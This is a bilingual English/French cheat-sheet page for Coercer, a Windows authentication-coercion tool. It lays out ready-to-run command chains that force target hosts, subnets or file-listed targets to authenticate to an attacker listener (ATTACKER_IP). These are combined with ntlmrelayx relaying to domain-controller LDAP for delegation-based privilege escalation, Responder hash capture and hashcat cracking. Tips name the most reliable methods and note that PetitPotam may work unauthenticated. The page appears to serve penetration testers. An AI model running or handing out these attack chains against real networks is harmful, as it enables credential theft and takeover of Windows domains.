Coercer

Force automatiquement des hôtes Windows à s'authentifier vers une machine contrôlée par l'attaquant via 12+ méthodes RPC. Utilisé avec ntlmrelayx ou Responder pour capturer des empreintes. Automatically coerces Windows hosts to authenticate to an attacker-controlled machine via 12+ RPC methods. Used with ntlmrelayx or Responder to capture hashes.

↗ https://github.com/p0dalirius/Coercer

Overview

Coercer automates Windows authentication coercion — forcing a target machine to authenticate to an attacker-controlled host. It tries 12+ MS-RPC methods (MS-EFSR, MS-FSRVP, MS-DFSNM, etc.) that trigger NTLM authentication. Captured credentials are relayed or cracked offline.

Basic Usage

Coerce authentication from a target (with valid domain credentials)

coercer coerce -l ATTACKER_IP -t TARGET_IP -u user -p 'password' -d domain.local

Coerce from subnet

coercer coerce -l ATTACKER_IP -t 10.10.10.0/24 -u user -p 'password' -d domain.local

Coerce from file of targets

coercer coerce -l ATTACKER_IP -t targets.txt -u user -p 'password' -d domain.local

Scan only (don’t coerce — check what methods are available)

coercer scan -t TARGET_IP -u user -p 'password' -d domain.local

With NTLM hash

coercer coerce -l ATTACKER_IP -t TARGET_IP -u user -H :NTLMhash -d domain.local

Combined Attack: Coercer + ntlmrelayx

Terminal 1: Set up ntlmrelayx to relay to domain controller LDAP (relay DC machine account → create RBCD entry or dump info)

sudo ntlmrelayx.py -t ldaps://dc01.domain.local --delegate-access \
  --no-smb-server --no-wcf-server --no-raw-server

Terminal 2: Coerce the target machine

coercer coerce -l ATTACKER_IP -t fileserver.domain.local \
  -u user -p 'password' -d domain.local

Combined Attack: Coercer + Responder

Terminal 1: Responder (capture hashes)

sudo responder -I eth0 -v

Terminal 2: Coerce authentication

coercer coerce -l ATTACKER_IP -t TARGET_IP -u user -p 'password' -d domain.local

Then crack the captured NTLMv2:

hashcat -m 5600 hashes.txt rockyou.txt

Selecting Methods

List available coercion methods

coercer list

Use a specific protocol/method

coercer coerce -l ATTACKER_IP -t TARGET_IP -u user -p 'password' -d domain.local \
  --filter-protocol-name MS-EFSR

Exclude specific methods

coercer coerce -l ATTACKER_IP -t TARGET_IP -u user -p 'password' -d domain.local \
  --filter-protocol-name "!MS-RPRN"

Coercion Methods Supported

ProtocolMethodNotes
MS-EFSREfsRpcOpenFileRawPetitPotam — works unauth in some configs
MS-RPRNRpcRemoteFindFirstPrinterChangeNotificationPrinterBug / SpoolSample
MS-DFSNMNetrDfsAddStdRootDFSCoerce
MS-FSRVPIsPathShadowCopiedShadowCoerce
MS-EVEN6EvRpcOpenPublisherSubscription
MS-ICPRCertServerRequest

Tips

  • MS-RPRN (PrinterBug) is the most reliable — Spooler is usually running
  • MS-EFSR (PetitPotam) can work unauthenticated against older systems — check first
  • Relay machine account credentials to LDAP with --delegate-access for privilege escalation
  • Coercion works best against machines with machine accounts that can be delegated
Help / Man page
coercer [mode] [options]

Modes:
  scan     Scan targets (no coercion, just detect)
  coerce   Coerce authentication
  list     List available methods

Options:
  -t target         Target host, CIDR, or file
  -l listener       Attacker's listener IP
  -u user           Username
  -p password       Password
  -H hash           NTLM hash
  -d domain         Domain name
  --dc-ip IP        Domain controller IP
  --filter-protocol-name  Protocol to use/exclude
  --filter-method-name    Method to use/exclude
  --always-continue       Don't stop on success
  -v                Verbose

Vue d’ensemble

Coercer automatise la coercition d’authentification Windows : forcer une machine cible à s’authentifier vers un hôte contrôlé par l’attaquant. Il essaie 12+ méthodes MS-RPC (MS-EFSR, MS-FSRVP, MS-DFSNM, etc.) qui déclenchent une authentification NTLM. Les identifiants capturés sont relayés ou cassés hors ligne.

Utilisation de base

# Forcer l'authentification d'une cible (avec des identifiants de domaine valides)
coercer coerce -l ATTACKER_IP -t TARGET_IP -u user -p 'password' -d domain.local

# Forcer depuis un sous-réseau
coercer coerce -l ATTACKER_IP -t 10.10.10.0/24 -u user -p 'password' -d domain.local

# Forcer depuis un fichier de cibles
coercer coerce -l ATTACKER_IP -t targets.txt -u user -p 'password' -d domain.local

# Scan uniquement (ne pas forcer : vérifier quelles méthodes sont disponibles)
coercer scan -t TARGET_IP -u user -p 'password' -d domain.local

# Avec une empreinte NTLM
coercer coerce -l ATTACKER_IP -t TARGET_IP -u user -H :NTLMhash -d domain.local

Attaque combinée : Coercer + ntlmrelayx

# Terminal 1 : mettre en place ntlmrelayx pour relayer vers le LDAP du contrôleur de domaine
# (relayer le compte machine du DC → créer une entrée RBCD ou extraire des infos)
sudo ntlmrelayx.py -t ldaps://dc01.domain.local --delegate-access \
  --no-smb-server --no-wcf-server --no-raw-server
# Terminal 2 : forcer la machine cible
coercer coerce -l ATTACKER_IP -t fileserver.domain.local \
  -u user -p 'password' -d domain.local

Attaque combinée : Coercer + Responder

# Terminal 1 : Responder (capturer les empreintes)
sudo responder -I eth0 -v
# Terminal 2 : forcer l'authentification
coercer coerce -l ATTACKER_IP -t TARGET_IP -u user -p 'password' -d domain.local
# Puis cracker le NTLMv2 capturé :
hashcat -m 5600 hashes.txt rockyou.txt

Sélectionner des méthodes

# Lister les méthodes de coercition disponibles
coercer list

# Utiliser un protocole/une méthode précis
coercer coerce -l ATTACKER_IP -t TARGET_IP -u user -p 'password' -d domain.local \
  --filter-protocol-name MS-EFSR

# Exclure des méthodes précises
coercer coerce -l ATTACKER_IP -t TARGET_IP -u user -p 'password' -d domain.local \
  --filter-protocol-name "!MS-RPRN"

Méthodes de coercition supportées

ProtocoleMéthodeNotes
MS-EFSREfsRpcOpenFileRawPetitPotam, fonctionne sans auth dans certaines configs
MS-RPRNRpcRemoteFindFirstPrinterChangeNotificationPrinterBug / SpoolSample
MS-DFSNMNetrDfsAddStdRootDFSCoerce
MS-FSRVPIsPathShadowCopiedShadowCoerce
MS-EVEN6EvRpcOpenPublisherSubscription
MS-ICPRCertServerRequest

Conseils

  • MS-RPRN (PrinterBug) est la plus fiable : le Spooler est généralement en cours d’exécution
  • MS-EFSR (PetitPotam) peut fonctionner sans authentification contre des systèmes anciens : vérifiez en premier
  • Relayez les identifiants du compte machine vers LDAP avec --delegate-access pour l’élévation de privilèges
  • La coercition fonctionne le mieux contre des machines dont les comptes machine peuvent être délégués
Aide / Page de manuel
coercer [mode] [options]

Modes:
  scan     Scan targets (no coercion, just detect)
  coerce   Coerce authentication
  list     List available methods

Options:
  -t target         Target host, CIDR, or file
  -l listener       Attacker's listener IP
  -u user           Username
  -p password       Password
  -H hash           NTLM hash
  -d domain         Domain name
  --dc-ip IP        Domain controller IP
  --filter-protocol-name  Protocol to use/exclude
  --filter-method-name    Method to use/exclude
  --always-continue       Don't stop on success
  -v                Verbose